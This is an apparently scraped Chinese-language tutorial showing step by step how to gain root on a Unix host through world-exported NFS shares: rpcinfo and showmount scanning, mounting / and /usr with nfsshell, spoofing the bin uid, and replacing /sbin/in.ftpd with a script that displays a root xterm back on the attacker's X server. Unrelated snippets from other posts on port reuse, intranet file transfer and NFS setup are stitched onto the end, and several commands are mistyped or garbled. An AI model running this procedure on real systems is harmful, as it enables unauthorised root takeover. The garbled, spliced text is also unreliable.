現在的許多文章都是寫的win2k攻防,而unix下 的是少之又少,而我今天寫的就是unix下的漏洞。
眾所周知,nfs是 乙個非常流行的網路作業系統,現在大多數的unix用的是其第三版,它依賴與rpc服務。允許客戶 主機遠端訪問其檔案系統的伺服器都要小心,因為nfs的配置不當也會導致被攻擊。
首先很多的mountd和nfs漏 洞已經被發現了,nfs提供的安全性都依賴與檔案控制代碼,如果能探測到乙個系統的檔案控制代碼,攻擊者就可以輕易訪問主機。
那天我用rpcinfo命 令掃檢視一台unix主機,發現了這樣的資料:
100005 1 udp 32845 mountd
100005 2 udp 32845 mountd
100005 3 udp 32845 mountd
100005 3 udp 32845 mountd
100005 1 tcp 32811 mountd
100005 2 tcp 32811 mountd
100005 3 tcp 32811 mountd
...........
憑感覺,這個資訊可 以利用,但是對它又不熟,所以查了一下,得到了這個漏洞的說明。ok,既然有了資料,那就開始動手吧。
showmount -e ***.***.***.***
export list for ***.***.***.*** /
(everyone)
/usr
(everyone)
showmount
的結果指明了整個/和/usr檔案系統都出 口到任意主機,攻擊者只需要遠端安裝這個/和/usr檔案系統,就能訪問它們了,具體只受許可權影 響。
大多數的unix中 都有mount命令可用,你可以執行man mount看看幫助,因為不同版本的可能用法不太一 樣。
我們用mount ***.***.***.***:// mnt
將***.***.***.***的 根目錄安裝到本地的/mnt安裝點上。
發現這種漏洞的乙個 更好的程式是nfsshell,我們要先輸入對哪個安裝主機感興趣,以下的被攻擊主機都是本人自己 虛擬的網路環境:
nfs>host dex
using a privileged port(1022)
open dex(192.168.0.1) tcp
下來我們看看主機的 哪些檔案系統被出口;
nfs>export
export list for dex:
/everyone
/usr everyone
現在就可以安裝/文 件系統了:
nfs>mount /
using a privileged port(1021)
mount / tcp,transfer size 8192 bytes.
下來我們來確定訪問 這個系統時用的uid:
nfs>status
user id :-2
group id :-2
remote host:dex
mount path:/
transfer size:8192
現在我們已經安裝了/, 而且發現uid和gid都是nobody。ok,現 在我們既然安裝了整個檔案系統樹,那麼我們現在就可以檢視/etc/passwd檔案的內容了:)。
nfs>cd /etc
nfs>cat passwd
怎麼樣看到了吧,不 過因為該檔案是經過加密的,所以我們無法破解它,但是不要灰心,我們把安裝改為/usr,把uid和gid改 為bin,而獲得二進位制檔案的訪問權:
nfs>mount /usr
using a privileged port (1022)
mount /usr,tcp,transfer size 8192 bytes
nfs>uid 2
nfs>gid 2
nfs>status
user id :2
group id :2
remote host:dex
mount path :/usr
transfer size :8192
現在我們具有該遠端 系統上bin使用者的所有特權了,在我們的例子中,該檔案系統出口時沒有設定會限制bin建立或修改 檔案的能力的任何特殊選項。到了這一步,只需發射會乙個xterm或建立乙個到本地系統的反向通道就能獲取對於目標的系統的訪 問權了。
我們在本地系統建立以下內容的乙個指令碼檔案,並把它命名為in。ftpd
#!/bin/ch
/usr/openwin/bin
。xterm-display10.10.10;0.0
接著在nfs互動中cd到目標上的/sbin目 錄,把in。ftpd替換成我們的版本;
nfs>cd/sbin
nfs>put.in.ftpd
最後,我們通過xhost命 令以允許目標伺服器連線回本地的x伺服器,在執行ftp命令以在目標伺服器上啟動執行/sbin。in。ftpd
最後,我們通過xhost命 令允許目標伺服器連線回本地的x伺服器,再執行ftr命令以在目標伺服器上啟動執行/sbin/in.ftpd:
xhost+dex
to access control list
ftp dex
connected dex
其結果是在本地系統上顯示乙個屬主為root的xterm。 如下面的互動例子所示,既然目標系統上in。ftpd是以root特權 從inetd中派生執行的,因此in。ftpd將以root特 權執行我們的指令碼,從而導致直接的root訪問。
#iduid=o
(root)gid=(root)
到此為止,本文已經全部完成,由此可見安全性在高的系統因為配置不當也會出現致命的漏洞
滲透防護牆的滲透技術
說到通道技術,我想再提一下 埠復用 很多朋友以為通道技術就是埠復用技術。那麼,錯了,埠復用是指乙個埠上建立了多個連線,而不是在乙個端 口上面開放了多個服務而互不干擾。假如你想在已經開放了www服務的主機上,在80埠再新增一項服務,只有2種可能 1.新增服務失敗 2.www服務出錯。那麼什麼是通道呢?...
內網滲透中Windows下的內網傳輸技術
vbspowershell bitsadmin certutil 我們可以在本地伺服器先搭建乙個ftp伺服器 建立乙個使用者 echo open ip ftp.txt 連線到ftp伺服器 echo monster ftp.txt 輸入使用者名稱 echo abc123456 ftp.txt 輸入密碼...
ubuntu下NFS的配置
接ln s home pub work freerunner out target product freerunner home jgyang nfsroot 這樣在開發板上設定的核心命令列中設定的nfs目錄就可是 home jgyang nfsroot,但在 etc exports檔案中 exp...